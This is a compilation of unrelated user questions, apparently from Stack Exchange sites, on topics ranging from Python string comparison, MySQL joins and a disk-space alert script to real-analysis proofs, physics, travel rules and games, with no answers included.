How long should you wait to email journal editor about a submitted revision of a manuscript?

It has been 10 weeks since I submitted my revised manuscript for minor revisions. The status of the article is "revision submitted to journal" since 6th Sept (and it is now 14th Nov). I am applying for a grant and really want to include this article in my CV, is it rude to write to the editor to find out what is going on? I am worried that my article has somehow gone under the radar and the editor has completely forgotten about it. Just wondering do they get alerts if they haven't responded to a submission for too long?


I have a input that the user types in something Example  Test = input( 'Type in something' ) if Test == 'SOMETHING' :     print( 'You idiot!' )   How do I ignore the if the word something is in all caps or non caps example: Something SOMETHING SoMeThinG  Sorry My Grammar is so bad It's hard to word these things


Prove that the intersection of two equivalence relations is an equivalence relation.

I am reading  of the Book of Proof, and I'm stuck at the Exercise 10 of section 11.2. It is as follows.  Suppose $R$ and $S$ are two equivalence relations on a set $A$. Prove that $R \cap S$ is also an equivalence relation.  Thanks for helps!


I have written a question that did not meet the standards (see below).  I noticed that just by adding uppercase correctly, it meets the standards.  Is this okay?


How can I tell if the aicraft for my departing flight is at the departure airport?

How can I tell if the aircraft (a.k.a. "equipment") that I will be flying on is at the departure airport? For that matter, is there a general way to tell where it is (e.g. in flight from another destination)?


MySQL Compare Two Tables Difference Inner Join Inverse

I have two tables in the same database with matching email fields and they can easily be compared with 'inner join' - the first table is 'table1'. The second is Table2 the active users table in a membership site, for example using email as a common field SELECT *  FROM TABLE1 INNER JOIN users ON TABLE1.email = TABLE2.email  This query will give me ALL the users in the list that appear in both lists. What I'm looking for is the 'difference' i.e. the 'inverse' Namely, all the users in Table 2 that do NOT appear in Table 1 What is the MySQL syntax?


As we all know that Kurama's chakra is of the healing nature type. This is known from many mentions about it in the wiki page of .  My question is, what is the nature type of the chakra of the other Tailed beasts?  Note: This is my thinking why there should have been a nature type to each of the tailed beasts.   As we all know that when Rikudō Sennin was about to die, he split his powers among his two sons (the older son inherited his powerful chakra and spiritual energy, and the younger son inherited his powerful life force and physical energy). Similarly, when creating the nine tailed beasts from the Shinju, he must have split the chakra based on their nature so that each tailed beast had a unique natured chakra.  Any insight on this would be very much welcomed.


For each new year from date straing PHP MySQL


Proving that $\lim_{k\to \infty}\frac{f(x_k)-f(y_k)}{x_k-y_k}=f'(c)$ where $\lim_{k\to \infty}x_k=\lim_{k\to \infty}y_k=c$ with $x_k<c<y_k$

Question.  Suppose that a function $f$ is defined on an interval $I$, $c$ is a point of $I$, and {$x_k$} and {$y_k$} are any two sequences in $I$ such that $\lim_{k\to \infty}x_k=\lim_{k\to \infty}y_k=c$ with $x_k<c<y_k$ for all $k$. Prove that, if $f'(c)$ exists, then $\lim_{k\to \infty}\frac{f(x_k)-f(y_k)}{x_k-y_k}=f'(c).$   My Attempt.  Let $\epsilon_k=\frac{1}{k}$ be given.  For $\epsilon_1=1,$ there exists $\delta_1>0$ such that $x_1,y_1\in I, x_1,y_1\in N'(c;\delta_1)$ implies $\vert \frac{f(x_1)-f(y_1)}{x_1-y_1} -f'(c) \vert<\epsilon_1.$  For $\epsilon_2=\frac{1}{2},$ there exists $0<\delta_2<$min$\{\vert x_1-c \vert,\vert y_1-c \vert,\epsilon_2\}$ such that $x_2,y_2\in I, x_2,y_2\in N'(c;\delta_2)$ implies $\vert \frac{f(x_2)-f(y_2)}{x_2-y_2} -f'(c) \vert<\epsilon_2.$  Similarly, for $\epsilon_{k}=\frac{1}{k},$ there exists $0<\delta_k<$min$\{\vert x_{k-1}-c \vert,\vert y_{k-1}-c \vert,\epsilon_k\}$ such that $x_k,y_k\in I, x_k,y_k\in N'(c;\delta_k)$ implies $\vert \frac{f(x_k)-f(y_k)}{x_k-y_k} -f'(c) \vert<\epsilon_k.$  Then by taking the limit to infinity, we obtain $\lim_{k\to \infty}\frac{f(x_k)-f(y_k)}{x_k-y_k}=f'(c).$   It really took me a lot of time to finish the proof and I need this to be checked by an expert:) Is the proof okay? Any response would be appreciated!


Changing primitive properties retrospectively - options not visible below the tool panel

When adding a circle I can see the 'Add circle' panel below the tool bar, but once I do something else it disappears. How do I get this back? How can I change the number vertices on an existing circle for instance? It appears that you have to do this immediately after adding the primitive, otherwise you're scuppered?


By convention, we say that: $$\sqrt{x^2}=|x|$$ In fact, the above statement is how we define absolute value.  We would not write $\sqrt{4}=-2$. Although logically it is correct, by convention it is wrong. You have to say $\sqrt{4}=2$ unless the question specifically asks for negative numbers like this: $$-\sqrt{4}=-2$$ Why is this? I suspect it is because back then, square roots were used to calculate distances (e.g. with Pythagoras' theorem) and distances must be positive. Am I correct? Any other reasons why we only define square roots to be positive?  Edit: This entire topic is confusing for me because for example, when you are finding the roots of the function $f(x)=x^2-4$, you would set $f(x)=0$, so now the equation is $0=x^2-4$. This means that $x^2=4$, so $x=\pm\sqrt{4}=\pm 2$. Therefore the roots are $2, \ -2$. But normally we cannot say that $\sqrt{4}=\pm 2$. Hope this clarifies things a bit.


WordPress v5.0.3 Gutenberg & JS error "Uncaught SyntaxError: missing ) after argument list"

After update from WP 5.0.2 to 5.0.3 I had issues in wp-admin. I couldn't edit post data. There was JS error "Uncaught SyntaxError: missing ) after argument list", undefined "_" (lodash) etc.


showing that the sequence $a_n=1+\frac{1}{2}+...+\frac{1}{n} - \log(n)$ converges

Hi there I'm trying to solve an exercise which is part of my homework and I would really appreciate a hint how to solve it.  Given the sequence $a_n=1+\frac{1}{2}+...+\frac{1}{n} - \log(n)$ it asks me to prove that it is convergent and to prove that limit when $n$ approaches infinity of $a_n$ is $c$ where $c$ is between $0$ and $1$.  So far I proved its montony and that the sequence is decreasing. I could need a hint on how to bound it though. Thanks in advance.


Move Outlook items after certain amount of time

I am attempting to set a rule, or a policy, to move items with my Inbox, to a specific folder, labelled 'Cache'. So items come into my Inbox, and after 2 weeks, I would like them to be moved to 'Cache'. After 90 days of age, they will then be moved to an archive. Is this possible? I tried messing with rules, can couldn't figure out a way to do so.


$[1]$ If $f(x) = x^3+3x+4\;,$ Then value of $\displaystyle \int_{-1}^{1}f(x)dx+\int_{0}^{4}f^{-1}(x)dx$ $[2]$ Evaluation of definite Integral $\displaystyle \int_{0}^{1}(e-1)\sqrt{\ln\left[1+(e-1)x\right]}dx+\int_{0}^{1}e^{x^2}dx$  $\bf{My\; Try\; for \; (1)::}$ Let  $$\displaystyle I = \int_{-1}^{1}f(x)dx+\int_{0}^{4}f^{-1}(x)dx$$ Now Let $f^{-1}(x)=z\;,$ Then $x=f(z)$ and $dx = f'(z)dz$ So Integral Convert into $$\displaystyle I = \int_{-1}^{1}f(x)dx+\int_{f^{-1}(0)}^{f^{-1}(4)}z\cdot f'(z)dz$$ Now Using Integration by parts for Second Integral, We get $$\displaystyle I = \int_{-1}^{1}f(x)dx+\left[z\cdot f(z)\right]_{f^{-1}(0)}^{f^{-1}(4)}-\int_{f^{-1}(0)}^{f^{-1}(4)}f(z)dz$$ Now How can I solve after that, and I have seems second Question is same as $1$ one Help me Thanks


I have an HP EliteBook 840 G2 It looks like this:  Here are the specs: CPU: Intel(R) Core(TM) i7-5600U CPU @ 2.60GHz. Its maximum is 3.10GHz GPU: Intel(R) HD Graphics 5500 RAM: 8.0 GB DDR3 I want to run Minecraft shaders because I like the look of it. But I am not sure if it will run on my PC because it is getting old and fragile. Also, I am not sure if this hardware would run Minecraft shaders whether new or not. Can someone please let me know if this laptop can run Minecraft shaders


How can I detect the encoding/codepage of a text file

In our application, we receive text files (.txt, .csv, etc.) from diverse sources. When reading, these files sometimes contain garbage, because the files where created in a different/unknown codepage.  Is there a way to (automatically) detect the codepage of a text file?   The detectEncodingFromByteOrderMarks, on the StreamReader constructor, works for UTF8  and other unicode marked files, but I'm looking for a way to detect code pages, like ibm850, windows1252.     Thanks for your answers, this is what I've done.  The files we receive are from end-users, they do not have a clue about codepages. The receivers are also end-users, by now this is what they know about codepages: Codepages exist, and are annoying.  Solution:    Open the received file in Notepad, look at a garbled piece of text. If somebody is called François or something, with your human intelligence you can guess this. I've created a small app that the user can use to open the file with, and enter a text that user knows it will appear in the file, when the correct codepage is used.  Loop through all codepages, and display the ones that give a solution with the user provided text.  If more as one codepage pops up, ask the user to specify more text.


How to do a one-to-many Spatial Join/Query in QGIS

Does anyone know if it's possible to do a 'one to many' spatial join based on distance in QGIS?  The "Join Attributes By Location" under ->Vector->Data Management Tools is very limited...  Just to be clear, below is how it's done in ArcGIS.


What is the result when a diamond Moderator chooses "Leave Open"?

If a diamond Moderator uses the Close Votes review queue and chooses "Leave open", what happens?   Does their vote count as just one of several that might kick the question out of the queue, or does it get kicked out right away? If the question is removed from the queue right away, are all of the other close votes dismissed, or do they stay?   It's clear what happens if the Moderator chooses "Close"; it's a binding close vote, just like if they vote to close from elsewhere. It's less clear what happens if they go the other way.


Depositing or cashing a $2 Million check

I would like to ask you the question. Will 2 millions dollars check to be cash? and How long will 2 millions dollars check to be cash?  I understand, but the 2 millions dollars check from the headquarter company that was paid to the anonymous worker at boutique and he wants to cash the check.  I was not sure how it works.  If the bank couldn't cash for him, will the bank give him some of cash for example, $500,000 for now, and the rest wait to be cash at later time like 24 hours or 1 week?  Sorry for confusion.  Thanks!


Prove $\sum_{k = 1}^n \mu(k)\left[ \frac nk \right] = 1$

I need to prove the identity $$\sum_{k = 1}^n \mu(k)\left[ \frac{n}{k} \right] = 1$$ where $n$ is a natural number, and $[n]$ denotes the floor function. The proof also should not use the Möbius Inversion Formula; I'm looking for something elementary. I've tried to give a counting argument, and to give a proof using the identity $$\sum_{d|n}^n\mu(d)= 0$$ for $n > 1,$ but I haven't succeeded. What's a good way to solve this problem?


How to show that the infinite sum of $\frac{x^n}{n!}$ is $e^x$ without knowledge of the derivative of $e^x$

I am aware that this is the Taylor expansion of $e^x$ but how would people have known that the taylor expansion whose derivative is itself is the exponential function $e^x$.


C++: When to use "new" and when not? | Add: Not duplicated

I'm new to C++ and wondering when you should use new and when not, e.g. "int x = 5" or "int * x = new int(5)". I know that new reserves memory in the heap and will thus not be deleted when the block ends, but since the variable the adress is saved in will become unaccessible beyond the block I don't see any benefits.  Example:  if(x) {  int * z = new int(5);  // Do something } // At this point the 5 is saved somewhere but since z is unaccessible I can't use it.   Add: This question is not duplicated since the other questions do only explain what is the heap while benefits of it are not described.


Does a black hole singularity compress mass back into energy?

I was watching this  which made the case that mass is just a form of bound energy. Essentially massless particles are confined in a small space giving particles the illusion of mass.  Since the heat and pressure inside a black hole is essentially infinite, does that mean that matter can't hold its form at the singularity and therefore reverts back into energy via $E=mc^2$?   Wouldn't the converse (elementary particles keep their mass) lead to infinities (which are impossible) as the black hole tries to infinitely compress particles at the singularity? Should the singularity be instead described as a peak in the energy field of the Universe, instead of a physical object?


Scaling Computer Modern width using Metafont

I am looking for a broader, fatter Computer Modern and I already found out that the only way to do this correctly is to use MetaFont to create a different version of Computer Modern.   The idea is now to find a good and matching MetaFont File for my purposes and to generate a TrueType Font from it to be able to use this font via LuaLaTeX. I am working on OS X so there is no way to automatically let FontForge correct the font output by mf2pt1 and I have no knowledge whatsoever on MetaFont, typography and so and so forth, apart from that I don't have the time to fiddle with the files just by trial and error, there are just too many parameters that concern the font weight for this.   My question: Has anyone here ever dealt with this problem and maybe already came up with a solution in the form of a working MetaFont File? The results I get are very shitty to be honest, often I have big artifacts because of strange intersections and new nodes.  What the result should optimally look like is something like this:    Please don't care too much for the language being german, it's just a document I tried it on.  Any help would be highly appreciated.


How are Penrose diagrams derived?    (source: )


Background glitches after turning on tearfree [intel graphics]

After trying to get rid of screen tearing I reset my computer and found some weird boxes on my background in /etc/X11/xorg.conf I added Option      "TearFree"    "true"


Book series about a magician's apprentice whose master is assassinated and has to be trained by another master, who can't use magic?

I read this series in 1998 or something, so details are a little blurry. First book was about this apprentice summoning a demon, turned out to be his master's friend, but during the summoning, an assassin snuck in and murdered his master. The friend wasn't going to stick around, but then he found out he couldn't do magic anymore, so he had to train up the apprentice to get his magic back. Other notable things: pet unicorn, there was a book about playing a champion sport to not get killed, fire breathing lizard friend. And there was a whole thing about becoming a court magician because they thought it was an easy job, but it turned out there was a major army coming to invade the kingdom.


function months(){     for($i=1;$i<=12;$i++)     if($i<10)   {     echo '<option value="'."0".$i.'">'."0".$i.'</option>';     }     else{     echo '<option value="'.$i.'">'.$i.'</option>';     } }   This populates a dropdown with 01, 02, 03... instead of 1, 2, 3...    So, I concatenated 0 and $i if $i<10 and it works, but maybe it is possible by formatting $i as two digits, or some similar, shorter method ?


Why is the nucleus of an Iron atom so stable?

Lighter nuclei liberate energy when undergoing fusion, heavier nuclei when undergoing fission.  What is it about the nucleus of an Iron atom that makes it so stable?  Alternatively: Iron has the greatest nuclear binding energy - but why?


How to start X windows inside "Bash on Ubuntu on Windows"

After installing the new feature (still "Beta") called  that is a feature subset of Windows 10 Anniversary edition, I get the following message when trying to start X-Windows using startx :    What do I need to tweak / configure in order for X-Windows to launch?  I noticed that xauth was already installed, however I had to install the rest of the framework as follows :  apt-get install xorg openbox


So as seen on this question , we know that if $(n,m) \neq 1$, then $\mathbb{Z} /mn \mathbb{Z} \ncong \mathbb{Z}/n\mathbb{Z} \times \mathbb{Z}/m\mathbb{Z}$, because the right hand side does not have an element of order $nm$.  But take a more general setting. Let $R$ be a commutative ring, and let $A,B$ be ideals in $R$. $A$ and $B$ are said to be comaximal if $A+B=R$. If $A, B$ are comaximal, then we have: $R/AB \cong R/A \times R/B$. In this setup, is the converse true?      If we have $A, B$ ideals in $R$ such that $R/AB \cong R/A \times R/B$, do we always have that $A$ and $B$ are comaximal?


Is the ground state closest to the uncertainty relation?

For simplicity, suppose we are only talking about discrete energy levels, ie, bound state case. The energy levels are $E_1, E_2\cdots$, and the corresponding wave functions are $\psi_1, \psi_2 \cdots$.  My question is, is it true that $\sigma_x \sigma_p$ is minimum when $n=1$ for the eigenstates.  I came across question because I found harmonic oscillator and infinite potential well problems satisfy this statement, so I want to know if this is a general case.   I think this may be true because for ground state, there is no node ground state wave function. Thus the $\sigma_p$ may be small compare to other eigenstates.


Does wielding a shield as an improvised weapon count for Dual Wielder and Two-Weapon fighting style?

Let's say I am wielding a dagger and shield, and I am using the shield as an improvised weapon. Would Dual-Wielder Feat and the Dual Wielding fighting style be in effect while I am using these as improvised weapons?


I wonder if it is possible to compose formulas by hand like: $1+2+3+\cdots+n$. The formula for this is:$(n)(n+1)/2$.   And for $1^2 + 2^2 + 3^2+\cdots+n^2$ you have the formula: ...  But this is more a trial and error work. So my question is, is it possible too generate series of the form: $1^3+2^3+3^3+\cdots+n^3$ or $1^4+2^4+3^4+\cdots+n^4$, etc. by logic and not by trial and error?  Thank you


The Schengen zone and how to count the 90 days as a tourist after a long term visa

I was in France on a student visa which expired July 2017.  I exited France and entered the UK.  From the UK, I entered the Schengen in Norway, July 10th, 2017.   Since then, I went back to the UK for a month, and then back to Norway, which is where I am now.   Since July, I have been in the Schengen for roughly 40 days.   In October, I need to enter France again for 90 days.   My question is, has the clock started ticking the second I entered the Schengen in Norway in July??  If I enter France from a non-Schengen country like the UK, does my clock start again for 90 days?   Am I screwed?


This is something that I always find a bit hard to explain to others:  Why do XML namespaces exist?  When should we use them and when should we not? What are the common pitfalls when working with namespaces in XML?   Also, how do they relate to XML schemas? Should XSD schemas always be associated with a namespace?


Excuse my lack of knowledge and expertise in math,but to me it would came naturally that the cubic root of $-8$ would be $-2$ since $(-2)^3 = -8$.  But when I checked Wolfram Alpha for , real it tells me it doesn't exist.  I came to trust Wolfram Alpha so I thought I'd ask you guys, to explain the sense of that to me.


Please look at these phrases:  I think it is a dramatic scene. I think it is a hilarious scene. I think it is an intimate scene. I think it is an ambiguous scene.  Why is the article determined by the adjective and not the noun?


Let $P_{ij}$, where $P_{ij}$ is a real number and $i, j$ natural number, allow the three statements to hold:   $P_{ij}\ge 0$ for all $i, j$ $\lim_{i\to\infty}P_{ij}=0$ for all $j$ $\sum_{j=1}^i P_{ij}$ =1 for all $i$   Let $(x_j)$ be a convergent sequence and let a sequence $(y_i)$ be defined by  $y_i=\sum_{j=1}^i P_{ij}x_j$   Prove $(y_i)$ is a convergent sequence, and prove $\lim y_i=\lim x_i$  I don't really know how to approach the problem, thanks in advance


How to change a default application in Ice Cream Sandwich?

I used the ADWLauncher EX by default while having Gingerbread 2.3.6.  Today I have manually updated my Nexus S to Ice Cream Sandwich 4.0.3, and I wanted to give the new default launcher a shot, but I cannot find anymore where to select / forget the default application for an action.  I've turned the settings of my phone inside out, googled and crawled the forums, but without success. If anybody can tell me how to change a default application in ICS, I'd be grateful!      Yeah, I never thought I'd want to see that Complete action using... window again! :D


Show $f$ is constant if $|f(x)-f(y)|\leq (x-y)^2$.

Problem: Let $f$ be defined for all real $x$, and suppose that   $$|f(x)-f(y)|\le (x-y)^2$$  for all real $x$ and $y$. Prove $f$ is constant.  Source: W. Rudin, Principles of Mathematical Analysis, Chapter 5, exercise 1.


How to associate a file extension to the current executable in C#

I'd like to to associate a file extension to the current executable in C#. This way when the user clicks on the file afterwards in explorer, it'll run my executable with the given file as the first argument. Ideally it'd also set the icon for the given file extensions to the icon for my executable. Thanks all.


transform returning null pointer exception but the parameters arent null?

I'm generating a KML file and at the point where I use the transformer API, I get the NullPointerException exception. Here's the code I'm refering too:  TransformerFactory transformerFactory = TransformerFactory.newInstance();             Transformer transformer = transformerFactory.newTransformer();             DOMSource source = new DOMSource(kml);             StreamResult result = new StreamResult(new File("src/mapa/mapa.kml"));             System.out.print("DESPRES DE CREAR RESULT\n");             if(source == null)                 System.out.print("SOURCE IS NULL");             if(result == null)                 System.out.print("RESULT IS NULL");             transformer.transform(source, result);             System.out.print("AFTER TRASNFORM\n");   It doesn't print any of the NULL System.outs, however it doesn't print the last one either. Why is it giving me NPE?  Exception:  DESPRES DE CREAR RESULT ERROR:  '' javax.xml.transform.TransformerException: java.lang.NullPointerException     at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transform(Unknown Source)     at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transform(Unknown Source)     at Joc.crearMapa(Joc.java:199)     at MastersOfWar.main(MastersOfWar.java:18) Caused by: java.lang.NullPointerException     at com.sun.org.apache.xml.internal.serializer.ToUnknownStream.characters(Unknown Source)     at com.sun.org.apache.xalan.internal.xsltc.trax.DOM2TO.parse(Unknown Source)     at com.sun.org.apache.xalan.internal.xsltc.trax.DOM2TO.parse(Unknown Source)     at com.sun.org.apache.xalan.internal.xsltc.trax.DOM2TO.parse(Unknown Source)     at com.sun.org.apache.xalan.internal.xsltc.trax.DOM2TO.parse(Unknown Source)     at com.sun.org.apache.xalan.internal.xsltc.trax.DOM2TO.parse(Unknown Source)     at com.sun.org.apache.xalan.internal.xsltc.trax.DOM2TO.parse(Unknown Source)     at com.sun.org.apache.xalan.internal.xsltc.trax.DOM2TO.parse(Unknown Source)     at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transformIdentity(Unknown Source)     ... 4 more --------- java.lang.NullPointerException     at com.sun.org.apache.xml.internal.serializer.ToUnknownStream.characters(Unknown Source)     at com.sun.org.apache.xalan.internal.xsltc.trax.DOM2TO.parse(Unknown Source)     at com.sun.org.apache.xalan.internal.xsltc.trax.DOM2TO.parse(Unknown Source)     at com.sun.org.apache.xalan.internal.xsltc.trax.DOM2TO.parse(Unknown Source)     at com.sun.org.apache.xalan.internal.xsltc.trax.DOM2TO.parse(Unknown Source)     at com.sun.org.apache.xalan.internal.xsltc.trax.DOM2TO.parse(Unknown Source)     at com.sun.org.apache.xalan.internal.xsltc.trax.DOM2TO.parse(Unknown Source)     at com.sun.org.apache.xalan.internal.xsltc.trax.DOM2TO.parse(Unknown Source)     at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transformIdentity(Unknown Source)     at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transform(Unknown Source)     at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transform(Unknown Source)     at Joc.crearMapa(Joc.java:199)     at MastersOfWar.main(MastersOfWar.java:18)


I am calculating the Intraclass Correlation coefficient (ICC) as per the method of Shrout-Fleiss (1979), using the (3, 1) model in which the judges are fixed as are the targets.  Some of my ICC values are negative.  Is this to be expected?  How to interpret this?  I understand that the maximum ICC is 1.0, but is there a minimum value?  How are negative values interpreted?


Label text shows up beside equation number when using align environment?

When I put a label in an align environment it lets me reference the corresponding equation properly, but in it also puts the text in this label beside the equation number. Why is it doing this, and how I can get rid of the label text?  \begin{align} \label{eq1}(\Delta + 1) u(x) &= \frac{1}{\lambda} n(x) u(x) \quad \quad \text{in} \ D, \\ \label{eq2}(\Delta + 1) u(x) &= 0 \quad \quad \text{in} \ \mathbb{R}^2\backslash D, \\ \shortintertext{\centering{$u$ satisfies the Sommerfeld radiation condition.}} \end{align}    How do I get rid of the {eq1} and {eq2} text?


How to install lib32-gnutls in Ubuntu 14.04 32bit

I have a login problem with a game (league of legends - the login server did not respond).I found somewhere that I need to install lib32-gnutls to fix this problem, but I don't know how to do this.  I downloaded the files from here:   Inside the folder lib32-gnutls are these files:   libgnutls-openssl.so         libgnutls.so.28            libgnutlsxx.so.28.1.0 libgnutls-openssl.so.27      libgnutls.so.28.41.0  pkgconfig libgnutls-openssl.so.27.0.2  libgnutlsxx.so libgnutls.so                 libgnutlsxx.so.28   I tried to install them through terminal with:  sudo apt-get install 'the name of the file'  but I get:  Reading package lists... Done Building dependency tree        Reading state information... Done W: Duplicate sources.list entry http://dl.google.com/linux/chrome/deb/ stable/main i386 Packages (/var/lib/apt/lists/dl.google.com_linux_chrome_deb_dists_stable_main_binary-i386_Packages) W: You may want to run apt-get update to correct these problems E: Unable to locate package libgnutls.so.28 E: Couldn't find any package by regex 'libgnutls.so.28'       I have ran the command apt-get update.  So what should I do next?


Fundamentally knowing when to use capacitors / inductors

I've always stumbled when looking at even simple circuits that use capacitors or inductors and trying to work out why it is there, without using "past experience".  What I mean is, if we need to limit the current we know that we need to use a resistor and we know how to work out which we need. If we need to reduce the voltage to something we again know we can use a resistor.  If we need to stop the flow of current in a specific direction we know that we need to use a diode.  All this can be worked out mathematically and "learnt" as circuits 101.  But I can't seem to find out information how to know when to use a capacitor, for example: We have X and Y and wasn't Z... "Oh so we need a capacitor here".  All the explanations for capacitors I've seen in circuits have been from peoples practical knowledge or past experience... without that, you wouldn't have known that you would have needed a capacitor.  My brother who's doing some electronics in school brought a simple circuit diagram home that they are making and yet there's a capacitor in it.  How do you work out and know that you need a capacitor without relying on past experience "I found if I stick in a capacitor it helps..." how do you learn or know when to use a capacitor from the start / design stage?


I have a site that's already on the host. So what I want to do is to put in on my PC , and so I could edit it.  I have already installed WAMP and download a backup with the site from the host, and downloaded the DB from the host also.   What I have to do next?


Counting ways to partition a set into fixed number of subsets

Suppose we have a finite set $S$ of cardinality $n$. In how many ways can we partition it into $k$-many non empty subsets?  Example: There is precisely one way to partition such a set into $n$-many subsets. and there is one way to partition into a single (sub)set.


script to send an mail if disk space capacity exceeds 90%

I want to implement a script on my server which will automatically send email alerts if the disk usage goes over 90% . My filesystem is data/u01 and the mount point is /u01  #!/bin/bash  ADMIN=some1@xyz.com  ALERT=90  df -h | egrep -v 'data/u01/u01' | awk '{ print $5 " " $1 }' | while read output;   do  usep=$(echo $output | awk '{ print $1}' )  echo $usep  if [ $usep -ge ${ALERT%} ]; then    echo  "Alert: Almost out of disk space $usep"    df -h | mail -s "Alert: out of disk space $usep"  $ADMIN  fi  done   ...........  but i am getting following error :  capacity  ./iv.sh: line 8: [: capacity: integer expression expected 23%  ./iv.sh: line 8: [: 23%: integer expression expected 0%


Every natural number can be represented as a sum of Fibonacci numbers.

Given:  $F_0 = 1 , F_1 = 1$, For 2 and so on $F_n = F_{n-1} + F_{n-2}$ (Fibonacci series).  Need to prove by induction:   For each natural $n$ there is a natural number $k$ and numbers:   $a_0, a_1, ..., a_k \in \{0,1\}$  So it exists: $$n = \sum_{i=0}^{k}a_iF_i$$


I have a list of items which is fetched from an REST API and displayed in a page 10 at a time. These items are not stored in Drupal database in any way. I managed to have a basic pager which is just a Previous & Next. But as per design the list should have a full pager.  So, how can I add a Full Pager in such page?


I installed ubuntu on my computer. I restarted my computer and then tried to enter windows again but I got this line that said error:unknown file system. Grub rescue> and it won't let me proceed from that. But if I restart my computer ubuntu works perfect. So I need to know how to fix the windows xp part of my partition.


I know that current is same in a series circuit becuase the current only has one path to flow but I'm confused on how resistors work in series. From what I've read is that current is the same before and after a resistor (Eg. if 500ma flow into a resistor 500ma flow out of the resistor) so what is the resistor actually limiting?


Number theory counting sums of squares modulus

This is an extra question from an old examination paper:     VI. Let $n>1$ in $\mathbf{Z}$ and let $r(n) = \#\{(a,b)\in \mathbf{Z}^{2};n=a^{2}+b^{2}\}$ Let also $n=n'n''n'''$ where $n',n'',n''' \in \mathbf{N}$ and   $p|n' \Longrightarrow p\equiv 1\mod 4 ; p|n'' \Longrightarrow p=2 ; p|n''' \Longrightarrow p\equiv 3 \mod 4$   for $p\in \mathbf{N}$ prime.   i) Show that if $n'''$ is not a square, then $r(n)=0$.  ii) Show that if $n'''$ is a square and $n' = 1$, then $r(n)=4$  iii) Show that if $n'''$ is a square and $1<n'=p_{1}^{e_{1}}\ddots p_{k}^{e_{k}}$ where $p_{1},...,p_{k}$ are different primes in $\mathbf{N}$ and $e_{1},...,e_{k} \in \mathbf{N}$, then it holds that $r(n)=r(n')=4(e_{1}+1)\ddots (e_{k}+1)$    I am completely dumbstruck and can't see how to begin (and neither did an older student who took this exam and whom I asked for hints). Help is greatly appreciated.


help needed with shading applied to a certain part of a mesh?

tldr :ok so I have a mix shader between glossy bdsf and principled bsdf on a mesh, and there is a part of the mesh I do not want glossy bdsf on, is there a way to control which parts of a mesh a shader is applied on? more details : i have a hair particle system on the object, and i do not want the glossy bdsf to show up under the hair, and i think there is enough hair and do not want to add more to "fix" the problem.


while True:     question = input('Enter the secret word: ')      if question in ['happy', 'Happy', 'HAPPY']:         print('Great Job!')      else:        print('Try again!')    This code works but what if the user types HaPpY. My computer won't recognize and will say Try again! How do I prevent this?


How can I make the Bishop's hat in the chess piece?

I have attached a blender file below along with some pictures. I tried to use the boolean modifier to do the same but came up with rather difficult to work with results. I want to have the curve and the shape of the hat to be nearly the same as the real Staunton Bishop.    gdrive link to blend file:


Let V= Mat2×2(K) be a 4-dimensional vector space with the basis: v1=[1   0; 0   0],   v2=[0   1; 0   0],   v3=[0   0; 1   0],   v4=[0   0; 0   1]. Let A=[a   b; c   d] ∈ Mat2×2(K). We define the linear map T:V→V, M→A·M, for M∈V.Find  the  matrix  associated  with T with  respect  to  the  standard  basis.   My attempt: A*{v1 v2 v3 v4} to get a 2x8 matrix but i dont know where to go from here?  i tried to put them together and got: [a 0 b 0; c 0 d 0; 0 a 0 b; 0 c 0 d] I have no idea if this is even correct?


Proving that the limit $ \lim\limits_{n\rightarrow \infty} (n!)^{\frac{1}{n}}$ diverges to infinity

I came across this limit in some context:  $$ \lim\limits_{n\rightarrow \infty} (n!)^{\frac{1}{n}}$$  I could only say that $n! > n$ implies the limit is greater than or equal to $1$. However, the result seems to be infinity. I do not know how to arrive at this result.  Any ideas?  Based on the answer and the comment below, I wonder if it is possible to prove this using elementary Calculus?


I had heard that you can do anything multiple ways on Skyrim. I didn't want to join the companions to become a werewolf. I had also heard that you can drink a werewolf's blood to become one. What are the differents ways of becoming a wearwolf ?


I'm wondering why in most mobile chats the message I write has a color background and white text (example: blue background and white text, like facebook) and the response is on grey background with black text.   The bubble with blue background and white text stand out more than the response which is what the user is going to read.  I leave an example of what I'm talking about.


What makes Pokémons appear anywhere in GO?

I live on an island with a head count below 100, there are no pokestops so what makes Pokémons appear and how can I make more appear frequently?   GO fan trapped on a desserted island with barely any Pokémons...


regex which matches a string without a specific word (anywhere)

I found many questions regarding this on SO, but they always assume that the word is at the beginning or end.  Assuming the word is cat, I don't want to match any of these:   cat hellocat catfood nocatthere   A common idea seems to be something like this:  ^([^c]*|c([^a]|$|a([^t]|$)))*   The regex works like this:   match anything except a c [^c]* or, if you have matched a c, then match only something other than a, or the end of the word([^a]|$ or, if you have matched a ca, then match only something other than t, or the end of the word ([^t]|$)   The examples work correctly, they aren't matched.  But the regex can be confused:  The following examples match:   ccat cacat


Wpf custom control template - relative font size

I am creating a custom WPF control that let's say for simplicity sake has a vertical stack panel with a "title" TextBlock, followed by a ContentPresenter. I want the font size for the "title" to be 5 Points LARGER than the size used in the content, which is inherited by whatever container the user places this control in.  How can I specify a font size in the control template for the header element using a relative value without exposing a property like "TitleFontSize" to the user? I want do "add 5".  I tried using a ScaleTransform on the header text block with mixed results (the text block scaled fine but the orientation was modified - I had the text right-justified and it moved "off the control" area when scaled). Also, I am not sure if scale transform would be approprite here.


Use any method, determine whether the series $\sum_{k=1}^{\infty} \frac{7^{k} + k}{k! + 1}$ converges?

This is the series $\sum_{k=1}^{\infty} \frac{7^{k} + k}{k! + 1}$. I began with the ratio test, but after I set up the ratio to take the limit of, I couldn't simplify the limit, since nothing would cancel out. I believe it converges, but I have no idea how to solve further after setting up that ratio test limit.  If someone has another method, that would be fine too. We are not allowed to use Comparison or Limit Comparison Tests.


Exporting File Geodatabase Raster license-free to TIFF or IMG?

Is there a license-free technology that can export rasters from an ESRI File Geodatabase to a file-based raster (e.g. GeoTIFF or IMG file)?   ESRI has the  for "reading" the contents of a file geodatabase, but it has very few features for rasters. GDAL has some extensions for file geodatabase, but I've been unable to find one that can export the rasters.


I'm running Ubuntu 14.04. I uninstalled Unity from the Software Center by mistake. How do I reinstall it?


Is the cofinite topology on a countable set first countable? I know it is not first countable on R but I don't know the case of a countable set.


A lemma about quasicentral-approximate-unit

